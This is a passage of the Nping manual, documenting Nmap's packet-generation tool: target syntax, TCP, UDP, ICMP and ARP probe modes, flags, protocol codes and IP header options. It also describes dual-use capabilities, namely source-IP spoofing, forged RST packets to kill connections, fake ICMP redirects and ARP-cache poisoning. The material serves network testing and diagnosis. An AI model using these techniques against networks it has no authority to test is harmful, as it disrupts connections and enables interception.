  -S, --source-ip                  : Set source IP address.
  --dest-ip <addr>                 : Set destination IP address (used as an 
                                     alternative to {target specification} ). 
  --tos <tos>                      : Set type of service field (8bits).
  --id  <id>                       : Set identification field (16 bits).
  --df                             : Set Dont Fragment flag.
  --mf                             : Set More Fragments flag.
  --evil                           : Set Reserved / Evil flag.
  --ttl <hops>                     : Set time to live [0-255].
  --badsum-ip                      : Use a random invalid checksum. 
  --ip-options <S|R [route]|L [route]|T|U ...> : Set IP options
  --ip-options <hex string>                    : Set IP options
  --mtu <size>                     : Set MTU. Packets get fragmented if MTU is
                                     small enough.
IPv6 OPTIONS:
  -6, --IPv6                       : Use IP version 6.
  --dest-ip                        : Set destination IP address (used as an
                                     alternative to {target specification}).
  --hop-limit                      : Set hop limit (same as IPv4 TTL).
  --traffic-class <class> :        : Set traffic class.
  --flow <label>                   : Set flow label.
ETHERNET OPTIONS:
  --dest-mac <mac>                 : Set destination mac address. (Disables
                                     ARP resolution)
  --source-mac <mac>               : Set source MAC address.
  --ether-type <type>              : Set EtherType value.
PAYLOAD OPTIONS:
  --data <hex string>              : Include a custom payload.
  --data-string <text>             : Include a custom ASCII text.
  --data-length <len>              : Include len random bytes as payload.
ECHO CLIENT/SERVER:
  --echo-client <passphrase>       : Run Nping in client mode.
  --echo-server <passphrase>       : Run Nping in server mode.
  --echo-port <port>               : Use custom <port> to listen or connect.
  --no-crypto                      : Disable encryption and authentication.
  --once                           : Stop the server after one connection.
  --safe-payloads                  : Erase application data in echoed packets.
TIMING AND PERFORMANCE:
  Options which take <time> are in seconds, or append ms (milliseconds),
  s (seconds), m (minutes), or h (hours) to the value (e.g. 30m, 0.25h).
  --delay <time>                   : Adjust delay between probes.
  --rate  <rate>                   : Send num packets per second.
MISC:
  -h, --help                       : Display help information.
  -V, --version                    : Display current version number. 
  -c, --count <n>                  : Stop after <n> rounds.
  -e, --interface <name>           : Use supplied network interface.
  -H, --hide-sent                  : Do not display sent packets.
  -N, --no-capture                 : Do not try to capture replies.
  --privileged                     : Assume user is fully privileged.
  --unprivileged                   : Assume user lacks raw socket privileges.
  --send-eth                       : Send packets at the raw Ethernet layer.
  --send-ip                        : Send packets using raw IP sockets.
  --bpf-filter <filter spec>       : Specify custom BPF filter.
OUTPUT:
  -v                               : Increment verbosity level by one.
  -v[level]                        : Set verbosity level. E.g: -v4
  -d                               : Increment debugging level by one.
  -d[level]                        : Set debugging level. E.g: -d3
  -q                               : Decrease verbosity level by one.
  -q[N]                            : Decrease verbosity level N times
  --quiet                          : Set verbosity and debug level to minimum.
  --debug                          : Set verbosity and debug to the max level.
EXAMPLES:
  nping scanme.nmap.org
  nping --tcp -p 80 --flags rst --ttl 2 192.168.1.1
  nping --icmp --icmp-type time --delay 500ms 192.168.254.254
  nping --echo-server "public" -e wlan0 -vvv 
  nping --echo-client "public" echo.nmap.org --tcp -p1-1024 --flags ack

SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES

TARGET SPECIFICATION

Everything on the Nping command line that isnt an option or an option argument is treated as a target host specification. Nping uses the same syntax for target specifications that Nmap does. The simplest case is a single target given by IP address or hostname.

Nping supports CIDR-style addressing. You can append /numbits to an IPv4 address or hostname and Nping will send probes to every IP address for which the first numbits are the same as for the reference IP or hostname given. For example, 192.168.10.0/24 would send probes to the 256 hosts between 192.168.10.0 (binary: 11000000 10101000 00001010 00000000) and 192.168.10.255 (binary: 11000000 10101000 00001010 11111111), inclusive. 192.168.10.40/24 would ping exactly the same targets. Given that the host scanme.nmap.org is at the IP address 64.13.134.52, the specification scanme.nmap.org/16 would send probes to the 65,536 IP addresses between 64.13.0.0 and 64.13.255.255. The smallest allowed value is /0, which targets the whole Internet. The largest value is /32, which targets just the named host or IP address because all address bits are fixed.

CIDR notation is short but not always flexible enough. For example, you might want to send probes to 192.168.0.0/16 but skip any IPs ending with .0 or .255 because they may be used as subnet network and broadcast addresses. Nping supports this through octet range addressing. Rather than specify a normal IP address, you can specify a comma-separated list of numbers or ranges for each octet. For example, 192.168.0-255.1-254 will skip all addresses in the range that end in .0 or .255, and 192.168.3-5,7.1 will target the four addresses 192.168.3.1, 192.168.4.1, 192.168.5.1, and 192.168.7.1. Either side of a range may be omitted; the default values are 0 on the left and 255 on the right. Using - by itself is the same as 0-255, but remember to use 0- in the first octet so the target specification doesnt look like a command-line option. Ranges need not be limited to the final octets: the specifier 0-.-.13.37 will send probes to all IP addresses on the Internet ending in .13.37. This sort of broad sampling can be useful for Internet surveys and research.

IPv6 addresses can only be specified by their fully qualified IPv6 address or hostname. CIDR and octet ranges arent supported for IPv6 because they are rarely useful.

Nping accepts multiple host specifications on the command line, and they dont need to be the same type. The command nping scanme.nmap.org 192.168.0.0/8 10.0.0,1,3-7.- does what you would expect.

OPTION SPECIFICATION

Nping is designed to be very flexible and fit a wide variety of needs. As with most command-line tools, its behavior can be adjusted using command-line options. These general principles apply to option arguments, unless stated otherwise.

Options that take integer numbers can accept values specified in decimal, octal or hexadecimal base. When a number starts with 0x, it will be treated as hexadecimal; when it simply starts with 0, it will be treated as octal. Otherwise, Nping will assume the number has been specified in base 10. Virtually all numbers that can be supplied from the command line are unsigned so, as a general rule, the minimum value is zero. Users may also specify the word random or rand to make Nping generate a random value within the expected range.

IP addresses may be given as IPv4 addresses (e.g. 192.168.1.1), IPv6 addresses (e.g. 2001:db8:85a3::8e4c:760:7146), or hostnames, which will be resolved using the default DNS server configured in the host system.

Options that take MAC addresses accept the usual colon-separated 6 hex byte format (e.g. 00:50:56:d4:01:98). Hyphens may also be used instead of colons (e.g. 00-50-56-c0-00-08). The special word random or rand sets a random address and the word broadcast or bcast sets ff:ff:ff:ff:ff:ff.

GENERAL OPERATION

Unlike other ping and packet generation tools, Nping supports multiple target host and port specifications. While this provides great flexibility, it is not obvious how Nping handles situations where there is more than one host and/or more than one port to send probes to. This section explains how Nping behaves in these cases.

When multiple target hosts are specified, Nping rotates among them in round-robin fashion. This gives slow hosts more time to send their responses before another probe is sent to them. Ports are also scheduled using round robin. So, unless only one port is specified, Nping never sends two probes to the same target host and port consecutively.

The loop around targets is the “inner loop” and the loop around ports is the “outer loop”. All targets will be sent a probe for a given port before moving on to the next port. Between probes, Nping waits a configurable amount of time called the “inter-probe delay”, which is controlled by the –delay option. These examples show how it works.

nping –tcp -c 2 1.1.1.1 -p 100-102

Starting Nping ( https://nmap.org/nping )
SENT (0.0210s) TCP 192.168.1.77 > 1.1.1.1:100
SENT (1.0230s) TCP 192.168.1.77 > 1.1.1.1:101
SENT (2.0250s) TCP 192.168.1.77 > 1.1.1.1:102
SENT (3.0280s) TCP 192.168.1.77 > 1.1.1.1:100
SENT (4.0300s) TCP 192.168.1.77 > 1.1.1.1:101
SENT (5.0320s) TCP 192.168.1.77 > 1.1.1.1:102

nping –tcp -c 2 1.1.1.1 2.2.2.2 3.3.3.3 -p 8080

Starting Nping ( https://nmap.org/nping )
SENT (0.0230s) TCP 192.168.0.21 > 1.1.1.1:8080
SENT (1.0240s) TCP 192.168.0.21 > 2.2.2.2:8080
SENT (2.0260s) TCP 192.168.0.21 > 3.3.3.3:8080
SENT (3.0270s) TCP 192.168.0.21 > 1.1.1.1:8080
SENT (4.0290s) TCP 192.168.0.21 > 2.2.2.2:8080
SENT (5.0310s) TCP 192.168.0.21 > 3.3.3.3:8080

nping –tcp -c 1 –delay 500ms 1.1.1.1 2.2.2.2 3.3.3.3 -p 137-139

Starting Nping ( https://nmap.org/nping )
SENT (0.0230s) TCP 192.168.0.21 > 1.1.1.1:137
SENT (0.5250s) TCP 192.168.0.21 > 2.2.2.2:137
SENT (1.0250s) TCP 192.168.0.21 > 3.3.3.3:137
SENT (1.5280s) TCP 192.168.0.21 > 1.1.1.1:138
SENT (2.0280s) TCP 192.168.0.21 > 2.2.2.2:138
SENT (2.5310s) TCP 192.168.0.21 > 3.3.3.3:138
SENT (3.0300s) TCP 192.168.0.21 > 1.1.1.1:139
SENT (3.5330s) TCP 192.168.0.21 > 2.2.2.2:139
SENT (4.0330s) TCP 192.168.0.21 > 3.3.3.3:139

PROBE MODES

Nping supports a wide variety of protocols. Although in some cases Nping can automatically determine the mode from the options used, it is generally a good idea to specify it explicitly.

–tcp-connect (TCP Connect mode)

TCP connect mode is the default mode when a user does not have raw packet privileges. Instead of writing raw packets as most other modes do, Nping asks the underlying operating system to establish a connection with the target machine and port by issuing the connect system call. This is the same high-level system call that web browsers, P2P clients, and most other network-enabled applications use to establish a connection. It is part of a programming interface known as the Berkeley Sockets API. Rather than read raw packet responses off the wire, Nping uses this API to obtain status information on each connection attempt. For this reason, you will not be able to see the contents of the packets that are sent or received but only status information about the TCP connection establishment taking place.

–tcp (TCP mode)

TCP is the mode that lets users create and send any kind of TCP packet. TCP packets are sent embedded in IP packets that can also be tuned. This mode can be used for many different purposes. For example you could try to discover open ports by sending TCP SYN messages without completing the three-way handshake. This technique is often referred to as half-open scanning, because you dont open a full TCP connection. You send a SYN packet, as if you are going to open a real connection and then wait for a response. A SYN/ACK indicates the port is open, while a RST indicates its closed. If no response is received one could assume that some intermediate network device is filtering the responses. Another use could be to see how a remote TCP/IP stack behaves when it receives a non-RFC-compliant packet, like one with both SYN and RST flags set. One could also do some evil by creating custom RST packets using an spoofed IP address with the intent of closing an active TCP connection.

–udp (UDP mode)

UDP mode can have two different behaviours. Under normal circumstances, it lets users create custom IP/UDP packets. However, if Nping is run by a user without raw packet privileges and no changes to the default protocol headers are requested, then Nping enters the unprivileged UDP mode which basically sends UDP packets to the specified target hosts and ports using the sendto system call. Note that in this unprivileged mode it is not possible to see low-level header information of the packets on the wire but only status information about the amount of bytes that are being transmitted and received. UDP mode can be used to interact with any UDP-based server. Examples are DNS servers, streaming servers, online gaming servers, and port knocking/single-packet authorization daemons.

–icmp (ICMP mode)

ICMP mode is the default mode when the user runs Nping with raw packet privileges. Any kind of ICMP message can be created. The default ICMP type is Echo, i.e., ping. ICMP mode can be used for many different purposes, from a simple request for a timestamp or a netmask to the transmission of fake destination unreachable messages, custom redirects, and router advertisements.

–arp (ARP/RARP mode)

ARP lets you create and send a few different ARP-related packets. These include ARP, RARP, DRARP, and InARP requests and replies. This mode can ban be used to perform low-level host discovery, and conduct ARP-cache poisoning attacks.

–traceroute (Traceroute mode)

Traceroute is not a mode by itself but a complement to TCP, UDP, and ICMP modes. When this option is specified Nping will set the IP TTL value of the first probe to 1. When the next router receives the packet it will drop it due to the expiration of the TTL and it will generate an ICMP destination unreachable message. The next probe will have a TTL of 2 so now the first router will forward the packet while the second router will be the one that drops the packet and generates the ICMP message. The third probe will have a TTL value of 3 and so on. By examining the source addresses of all those ICMP Destination Unreachable messages it is possible to determine the path that the probes take until they reach their final destination.

TCP CONNECT MODE

-p port_spec, –dest-port port_spec (Target ports)

This option specifies which ports you want to try to connect to. It can be a single port, a comma-separated list of ports (e.g. 80,443,8080), a range (e.g. 1-1023), and any combination of those (e.g. 21-25,80,443,1024-2048). The beginning and/or end values of a range may be omitted, causing Nping to use 1 and 65535, respectively. So you can specify -p- to target ports from 1 through 65535. Using port zero is allowed if you specify it explicitly.

-g portnumber, –source-port portnumber (Spoof source port)

This option asks Nping to use the specified port as source port for the TCP connections. Note that this might not work on all systems or may require root privileges. Specified value must be an integer in the range [0–65535].

TCP MODE

-p port_spec, –dest-port port_spec (Target ports)

This option specifies which destination ports you want to send probes to. It can be a single port, a comma-separated list of ports (e.g. 80,443,8080), a range (e.g. 1-1023), and any combination of those (e.g. 21-25,80,443,1024-2048). The beginning and/or end values of a range may be omitted, causing Nping to use 1 and 65535, respectively. So you can specify -p- to target ports from 1 through 65535. Using port zero is allowed if you specify it explicitly.

-g portnumber, –source-port portnumber (Spoof source port)

This option asks Nping to use the specified port as source port for the TCP connections. Note that this might not work on all systems or may require root privileges. Specified value must be an integer in the range [0–65535].

–seq seqnumber (Sequence Number)

Specifies the TCP sequence number. In SYN packets this is the initial sequence number (ISN). In a normal transmission this corresponds to the sequence number of the first byte of data in the segment. seqnumber must be a number in the range [0–4294967295].

–flags flags (TCP Flags)

This option specifies which flags should be set in the TCP packet. flags may be specified in three different ways:

1.

As a comma-separated list of flags, e.g. –flags syn,ack,rst

2.

As a list of one-character flag initials, e.g. –flags SAR tells Nping to set flags SYN, ACK, and RST.

3.

As an 8-bit hexadecimal number, where the supplied number is the exact value that will be placed in the flags field of the TCP header. The number should start with the prefix 0x and should be in the range [0x00–0xFF], e.g. –flags 0x20 sets the URG flag as 0x20 corresponds to binary 00100000 and the URG flag is represented by the third bit.

There are 8 possible flags to set: CWR, ECN, URG, ACK, PSH, RST, SYN, and FIN. The special value ALL means to set all flags. NONE means to set no flags. It is important that if you dont want any flag to be set, you request it explicitly because in some cases the SYN flag may be set by default. Here is a brief description of the meaning of each flag:

CWR (Congestion Window Reduced)

Set by an ECN-Capable sender when it reduces its congestion window (due to a retransmit timeout, a fast retransmit or in response to an ECN notification.

ECN (Explicit Congestion Notification)

During the three-way handshake it indicates that sender is capable of performing explicit congestion notification. Normally it means that a packet with the IP Congestion Experienced flag set was received during normal transmission. See RFC 3168 for more information.

URG (Urgent)

Segment is urgent and the urgent pointer field carries valid information.

ACK (Acknowledgement)

The segment carries an acknowledgement and the value of the acknowledgement number field is valid and contains the next sequence number that is expected from the receiver.

PSH (Push)

The data in this segment should be immediately pushed to the application layer on arrival.

RST (Reset)

There was some problem and the sender wants to abort the connection.

SYN (Synchronize)

The segment is a request to synchronize sequence numbers and establish a connection. The sequence number field contains the senders initial sequence number.

FIN (Finish)

The sender wants to close the connection.

–win size (Window Size)

Specifies the TCP window size, this is, the number of octets the sender of the segment is willing to accept from the receiver at one time. This is usually the size of the reception buffer that the OS allocates for a given connection. size must be a number in the range [0–65535].

–badsum (Invalid Checksum)

Asks Nping to use an invalid TCP checksum for the packets sent to target hosts. Since virtually all host IP stacks properly drop these packets, any responses received are likely coming from a firewall or an IDS that didnt bother to verify the checksum. For more details on this technique, see https://nmap.org/p60-12.html.

UDP MODE

-p port_spec, –dest-port port_spec (Target ports)

This option specifies which ports you want UDP datagrams to be sent to. It can be a single port, a comma-separated list of ports (e.g. 80,443,8080), a range (e.g. 1-1023), and any combination of those (e.g. 21-25,80,443,1024-2048). The beginning and/or end values of a range may be omitted, causing Nping to use 1 and 65535, respectively. So you can specify -p- to target ports from 1 through 65535. Using port zero is allowed if you specify it explicitly.

-g portnumber, –source-port portnumber (Spoof source port)

This option asks Nping to use the specified port as source port for the transmitted datagrams. Note that this might not work on all systems or may require root privileges. Specified value must be an integer in the range [0–65535].

–badsum (Invalid Checksum)

Asks Nping to use an invalid UDP checksum for the packets sent to target hosts. Since virtually all host IP stacks properly drop these packets, any responses received are likely coming from a firewall or an IDS that didnt bother to verify the checksum. For more details on this technique, see https://nmap.org/p60-12.html.

ICMP MODE

–icmp-type type (ICMP type)

This option specifies which type of ICMP messages should be generated. type can be supplied in two different ways. You can use the official type numbers assigned by IANA[1] (e.g. –icmp-type 8 for ICMP Echo Request), or you can use any of the mnemonics listed in the section called “ICMP Types”.

–icmp-code code (ICMP code)

This option specifies which ICMP code should be included in the generated ICMP messages. code can be supplied in two different ways. You can use the official code numbers assigned by IANA[1] (e.g. –icmp-code 1 for Fragment Reassembly Time Exceeded), or you can use any of the mnemonics listed in the section called “ICMP Codes”.

–icmp-id id (ICMP identifier)

This option specifies the value of the identifier used in some of the ICMP messages. In general it is used to match request and reply messages. id must be a number in the range [0–65535].

–icmp-seq seq (ICMP sequence)

This option specifies the value of the sequence number field used in some ICMP messages. In general it is used to match request and reply messages. id must be a number in the range [0–65535].

–icmp-redirect-addr addr (ICMP Redirect address)

This option sets the address field in ICMP Redirect messages. In other words, it sets the IP address of the router that should be used when sending IP datagrams to the original destination. addr can be either an IPv4 address or a hostname.

–icmp-param-pointer pointer (ICMP Parameter Problem pointer)

This option specifies the pointer that indicates the location of the problem in ICMP Parameter Problem messages. pointer should be a number in the range [0–255]. Normally this option is only used when ICMP code is set to 0 (“Pointer indicates the error”).

–icmp-advert-lifetime ttl (ICMP Router Advertisement Lifetime)

This option specifies the router advertisement lifetime, this is, the number of seconds the information carried in an ICMP Router Advertisement can be considered valid for. ttl must be a positive integer in the range [0–65535].

–icmp-advert-entry addr**,**pref (ICMP Router Advertisement Entry)

This option adds a Router Advertisement entry to an ICMP Router Advertisement message. The parameter must be two values separated by a comma. addr is the routers IP and can be specified either as an IP address in dot-decimal notation or as a hostname. pref is the preference level for the specified IP. It must be a number in the range [0–4294967295]. An example is –icmp-advert-entry 192.168.128.1,3.

–icmp-orig-time timestamp (ICMP Originate Timestamp)

This option sets the Originate Timestamp in ICMP Timestamp messages. The Originate Timestamp is expressed as the number of milliseconds since midnight UTC and it corresponds to the time the sender last touched the Timestamp message before its transmission. timestamp can be specified as a regular time (e.g. 10s, 3h, 1000ms), or the special string now. You can add or subtract values from now, for example –icmp-orig-time now-2s, –icmp-orig-time now+1h, –icmp-orig-time now+200ms.

–icmp-recv-time timestamp (ICMP Receive Timestamp)

This option sets the Receive Timestamp in ICMP Timestamp messages. The Receive Timestamp is expressed as the number of milliseconds since midnight UTC and it corresponds to the time the echoer first touched the Timestamp message on receipt. timestamp is as with –icmp-orig-time.

–icmp-trans-time timestamp (ICMP Transmit Timestamp)

This option sets the Transmit Timestamp in ICMP Timestamp messages. The Transmit Timestamp is expressed as the number of milliseconds since midnight UTC and it corresponds to the time the echoer last touched the Timestamp message before its transmission. timestamp is as with –icmp-orig-time.

ICMP Types

These identifiers may be used as mnemonics for the ICMP type numbers given to the –icmp-type option. In general there are three forms of each identifier: the full name (e.g. destination-unreachable), the short name (e.g. dest-unr), or the initials (e.g. du). In ICMP types that request something, the word “request” is omitted.

echo-reply, echo-rep, er

Echo Reply (type 0). This message is sent in response to an Echo Request message.

destination-unreachable, dest-unr, du

Destination Unreachable (type 3). This message indicates that a datagram could not be delivered to its destination.

source-quench, sour-que, sq

Source Quench (type 4). This message is used by a congested IP device to tell other device that is sending packets too fast and that it should slow down.

redirect, redi, r

Redirect (type 5). This message is normally used by routers to inform a host that there is a better route to use for sending datagrams. See also the –icmp-redirect-addr option.

echo-request, echo, e

Echo Request (type 8). This message is used to test the connectivity of another device on a network.

router-advertisement, rout-adv, ra

Router Advertisement (type 9). This message is used by routers to let hosts know of their existence and capabilities. See also the –icmp-advert-lifetime option.

router-solicitation, rout-sol, rs

Router Solicitation (type 10). This message is used by hosts to request Router Advertisement messages from any listening routers.

time-exceeded, time-exc, te

Time Exceeded (type 11). This message is generated by some intermediate device (normally a router) to indicate that a datagram has been discarded before reaching its destination because the IP TTL expired.

parameter-problem, member-pro, pp

Parameter Problem (type 12). This message is used when a device finds a problem with a parameter in an IP header and it cannot continue processing it. See also the –icmp-param-pointer option.

timestamp, time, tm

Timestamp Request (type 13). This message is used to request a device to send a timestamp value for propagation time calculation and clock synchronization. See also the –icmp-orig-time, –icmp-recv-time, and –icmp-trans-time.

timestamp-reply, time-rep, tr

Timestamp Reply (type 14). This message is sent in response to a Timestamp Request message.

information, info, i

Information Request (type 15). This message is now obsolete but it was originally used to request configuration information from another device.

information-reply, info-rep, ir

Information Reply (type 16). This message is now obsolete but it was originally sent in response to an Information Request message to provide configuration information.

mask-request, mask, m

Address Mask Request (type 17). This message is used to ask a device to send its subnet mask.

mask-reply, mask-rep, mr

Address Mask Reply (type 18). This message contains a subnet mask and is sent in response to a Address Mask Request message.

traceroute, trace, tc

Traceroute (type 30). This message is normally sent by an intermediate device when it receives an IP datagram with a traceroute option. ICMP Traceroute messages are still experimental, see RFC 1393 for more information.

ICMP Codes

These identifiers may be used as mnemonics for the ICMP code numbers given to the –icmp-code option. They are listed by the ICMP type they correspond to.

Destination Unreachable

network-unreachable, netw-unr, net

Code 0. Datagram could not be delivered to its destination network (probably due to some routing problem).

host-unreachable, host-unr, host

Code 1. Datagram was delivered to the destination network but it was impossible to reach the specified host (probably due to some routing problem).

protocol-unreachable, prot-unr, proto

Code 2. The protocol specified in the Protocol field of the IP datagram is not supported by the host to which the datagram was delivered.

port-unreachable, port-unr, port

Code 3. The TCP/UDP destination port was invalid.

needs-fragmentation, need-fra, frag

Code 4. Datagram had the DF bit set but it was too large for the MTU of the next physical network so it had to be dropped.

source-route-failed, sour-rou, routefail

Code 5. IP datagram had a Source Route option but a router couldnt pass it to the next hop.

network-unknown, netw-unk, net?

Code 6. Destination network is unknown. This code is never used. Instead, Network Unreachable is used.

host-unknown, host-unk, host?

Code 7. Specified host is unknown. Usually generated by a router local to the destination host to inform of a bad address.

host-isolated, host-iso, isolated

Code 8. Source Host Isolated. Not used.

network-prohibited, netw-pro, !net

Code 9. Communication with destination network is administratively prohibited (source device is not allowed to send packets to the destination network).

host-prohibited, host-pro, !host

Code 10. Communication with destination host is administratively prohibited. (The source device is allowed to send packets to the destination network but not to the destination device.)

network-tos, unreachable-network-tos, netw-tos, tosnet

Code 11. Destination network unreachable because it cannot provide the type of service specified in the IP TOS field.

host-tos, unreachable-host-tos, toshost

Code 12. Destination host unreachable because it cannot provide the type of service specified in the IP TOS field.

communication-prohibited, comm-pro, !comm

Code 13. Datagram could not be forwarded due to filtering that blocks the message based on its contents.

host-precedence-violation, precedence-violation, prec-vio, violation

Code 14. Precedence value in the IP TOS field is not permitted.

precedence-cutoff, prec-cut, cutoff

Code 15. Precedence value in the IP TOS field is lower than the minimum allowed for the network.

Redirect

redirect-network, redi-net, net

Code 0. Redirect all future datagrams with the same destination network as the original datagram, to the router specified in the Address field. The use of this code is prohibited by RFC 1812.

redirect-host, redi-host, host

Code 1. Redirect all future datagrams with the same destination host as the original datagram, to the router specified in the Address field.

redirect-network-tos, redi-ntos, redir-ntos

Code 2. Redirect all future datagrams with the same destination network and IP TOS value as the original datagram, to the router specified in the Address field. The use of this code is prohibited by RFC 1812.

redirect-host-tos, redi-htos, redir-htos

Code 3. Redirect all future datagrams with the same destination host and IP TOS value as the original datagram, to the router specified in the Address field.

Router Advertisement

normal-advertisement, norm-adv, normal, zero, default, def

Code 0. Normal router advertisement. In Mobile IP: Mobility agent can act as a router for IP datagrams not related to mobile nodes.

not-route-common-traffic, not-rou, mobile-ip, !route, !commontraffic

Code 16. Used for Mobile IP. The mobility agent does not route common traffic. All foreign agents must forward to a default router any datagrams received from a registered mobile node

Time Exceeded

ttl-exceeded-in-transit, ttl-exc, ttl-transit

Code 0. IP Time To Live expired during transit.

fragment-reassembly-time-exceeded, frag-exc, frag-time

Code 1. Fragment reassembly time has been exceeded.

Parameter Problem

pointer-indicates-error, poin-ind, pointer

Code 0. The pointer field indicates the location of the problem. See the –icmp-param-pointer option.

missing-required-option, miss-option, option-missing

Code 1. IP datagram was expected to have an option that is not present.

bad-length, bad-len, badlen

Code 2. The length of the IP datagram is incorrect.

ARP MODE

–arp-type type (ICMP Type)

This option specifies which type of ARP messages should be generated. type can be supplied in two different ways. You can use the official numbers assigned by IANA[2] (e.g. –arp-type 1 for ARP Request), or you can use one of the mnemonics from the section called “ARP Types”.

–arp-sender-mac mac (Sender MAC address)

This option sets the Sender Hardware Address field of the ARP header. Although ARP supports many types of link layer addresses, currently Nping only supports MAC addresses. mac must be specified using the traditional MAC notation (e.g. 00:0a:8a:32:f4:ae). You can also use hyphens as separators (e.g. 00-0a-8a-32-f4-ae).

–arp-sender-ip addr (Sender IP address)

This option sets the Sender IP field of the ARP header. addr can be given as an IPv4 address or a hostname.

–arp-target-mac mac (target MAC address)

This option sets the Target Hardware Address field of the ARP header.

–arp-target-ip addr (target ip address)

This option sets the Target IP field of the ARP header.

ARP Types

These identifiers may be used as mnemonics for the ARP type numbers given to the –arp-type option.

arp-request, arp, a

ARP Request (type 1). ARP requests are used to translate network layer addresses (normally IP addresses) to link layer addresses (usually MAC addresses). Basically, and ARP request is a broadcasted message that asks the host in the same network segment that has a given IP address to provide its MAC address.

arp-reply, arp-rep, ar

ARP Reply (type 2). An ARP reply is a message that a host sends in response to an ARP request to provide its link layer address.

rarp-request, rarp, r

RARP Requests (type 3). RARP requests are used to translate a link layer address (normally a MAC address) to a network layer address (usually an IP address). Basically a RARP request is a broadcasted message sent by a host that wants to know his own IP address because it doesnt have any. It was the first protocol designed to solve the bootstrapping problem. However, RARP is now obsolete and DHCP is used instead. For more information about RARP see RFC 903.

rarp-reply, rarp-rep, rr

RARP Reply (type 4). A RARP reply is a message sent in response to a RARP request to provide an IP address to the host that sent the RARP request in the first place.

drarp-request, drarp, d

Dynamic RARP Request (type 5). Dynamic RARP is an extension to RARP used to obtain or assign a network layer address from a fixed link layer address. DRARP was used mainly in Sun Microsystems platforms in the late 90s but now its no longer used. See RFC 1931 for more information.

drarp-reply, drarp-rep, dr

Dynamic RARP Reply (type 6). A DRARP reply is a message sent in response to a RARP request to provide network layer address.

drarp-error, drarp-err, de

DRARP Error (type 7). DRARP Error messages are usually sent in response to DRARP requests to inform of some error. In DRARP Error messages, the Target Protocol Address field is used to carry an error code (usually in the first byte). The error code is intended to tell why no target protocol address is being returned. For more information see RFC 1931.

inarp-request, inarp, i

Inverse ARP Request (type 8). InARP requests are used to translate a link layer address to a network layer address. It is similar to RARP request but in this case, the sender of the InARP request wants to know the network layer address of another node, not its own address. InARP is mainly used in Frame Relay and ATM networks. For more information see RFC 2390.

inarp-reply, inarp-rep, ir

Inverse ARP Reply (type 9). InARP reply messages are sent in response to InARP requests to provide the network layer address associated with the host that has a given link layer address.

arp-nak, an

ARP NAK (type 10). ARP NAK messages are an extension to the ATMARP protocol and they are used to improve the robustness of the ATMARP server mechanism. With ARP NAK, a client can determine the difference between a catastrophic server failure and an ATMARP table lookup failure. See RFC 1577 for more information.

IPV4 OPTIONS

-S addr, –source-ip addr (Source IP Address)

Sets the source IP address. This option lets you specify a custom IP address to be used as source IP address in sent packets. This allows spoofing the sender of the packets. addr can be an IPv4 address or a hostname.

–dest-ip addr (Destination IP Address)

Adds a target to Npings target list. This option is provided for consistency but its use is deprecated in favor of plain target specifications. See the section called “TARGET SPECIFICATION”.

–tos tos (Type of Service)

Sets the IP TOS field. The TOS field is used to carry information to provide quality of service features. It is normally used to support a technique called Differentiated Services. See RFC 2474 for more information. tos must be a number in the range [0–255].

–id id (Identification)

Sets the IPv4 Identification field. The Identification field is a 16-bit value that is common to all fragments belonging to a particular message. The value is used by the receiver to reassemble the original message from the fragments received. id must be a number in the range [0–65535].

–df (Dont Fragment)

Sets the Dont Fragment bit in sent packets. When an IP datagram has its DF flag set, intermediate devices are not allowed to fragment it so if it needs to travel across a network with a MTU smaller that datagram length the datagram will have to be dropped. Normally an ICMP Destination Unreachable message is generated and sent back to the sender.

–mf (More Fragments)

Sets the More Fragments bit in sent packets. The MF flag is set to indicate the receiver that the current datagram is a fragment of some larger datagram. When set to zero it indicates that the current datagram is either the last fragment in the set or that it is the only fragment.

–evil (Reserved / Evil)

Sets the Reserved / Evil bit in sent packets. The Evil flag helps firewalls and other network security systems to distinguish between datagrams that have malicious intent and those that are merely unusual. When set, it indicates that the datagram has evil intent, instructing insecure systems to succumb. Setting it to zero indicates no evil intent. The option is implied if environmental variable SCRIPT_KIDDIE is set to a non-zero value.

–ttl hops (Time To Live)

Sets the IPv4 Time-To-Live (TTL) field in sent packets to the given value. The TTL field specifies how long the datagram is allowed to exist on the network. It was originally intended to represent a number of seconds but it actually represents the number of hops a packet can traverse before being dropped. The TTL tries to avoid a situation in which undeliverable datagrams keep being forwarded from one router to another endlessly. hops must be a number in the range [0–255].

–badsum-ip (Invalid IP checksum)

Asks Nping to use an invalid IP checksum for packets sent to target hosts. Note that some systems (like most Linux kernels), may fix the checksum before placing the packet on the wire, so even if Nping shows the incorrect checksum in its output, the packets may be transparently corrected by the kernel.

–ip-options R|S [route]|L [route]|T|U …, –ip-options hex string (IP Options)

The IP protocol offers several options which may be placed in packet headers. Unlike the ubiquitous TCP options, IP options are rarely seen due to practicality and security concerns. In fact, many Internet routers block the most dangerous options such as source routing. Yet options can still be useful in some cases for determining and manipulating the network route to target machines. For example, you may be able to use the record route option to determine a path to a target even when more traditional traceroute-style approaches fail. Or if your packets are being dropped by a certain firewall, you may be able to specify a different route with the strict or loose source routing options.

The most powerful way to specify IP options is to simply pass in hexadecimal data as the argument to –ip-options. Precede each hex byte value with \x. You may repeat certain characters by following them with an asterisk and then the number of times you wish them to repeat. For example, �*4 is the same as ����.

Note that if you specify a number of bytes that is not a multiple of four, an incorrect IP header length will be set in the IP packet. The reason for this is that the IP header length field can only express multiples of four. In those cases, the length is computed by dividing the header length by 4 and rounding down. This will affect the way the header that follows the IP header is interpreted, showing bogus information in Nping or in the output of any sniffer. Although this kind of situation might be useful for some stack stress tests, users would normally want to specify explicit padding, so the correct header length is set.

Nping also offers a shortcut mechanism for specifying options. Simply pass the letter R, T, or U to request record-route, record-timestamp, or both options together, respectively. Loose or strict source routing may be specified with an L or S followed by a space and then a space-separated list of IP addresses.

For more information and examples of using IP options with Nping, see the mailing list post at https://seclists.org/nmap-dev/2006/q3/0052.html.

–mtu size (Maximum Transmission Unit)

This option sets a fictional MTU in Nping so IP datagrams larger than size are fragmented before transmission. size must be specified in bytes and corresponds to the number of octets that can be carried on a single link-layer frame.

IPV6 OPTIONS

-6, –ipv6 (Use IPv6)

Tells Nping to use IP version 6 instead of the default IPv4. It is generally a good idea to specify this option as early as possible in the command line so Nping can parse it soon and know in advance that the rest of the parameters refer to IPv6. The command syntax is the same as usual except that you also add the -6 option. Of course, you must use IPv6 syntax if you specify an address rather than a hostname. An address might look like 3ffe:7501:4819:2000:210:f3ff:fe03:14d0, so hostnames are recommended.

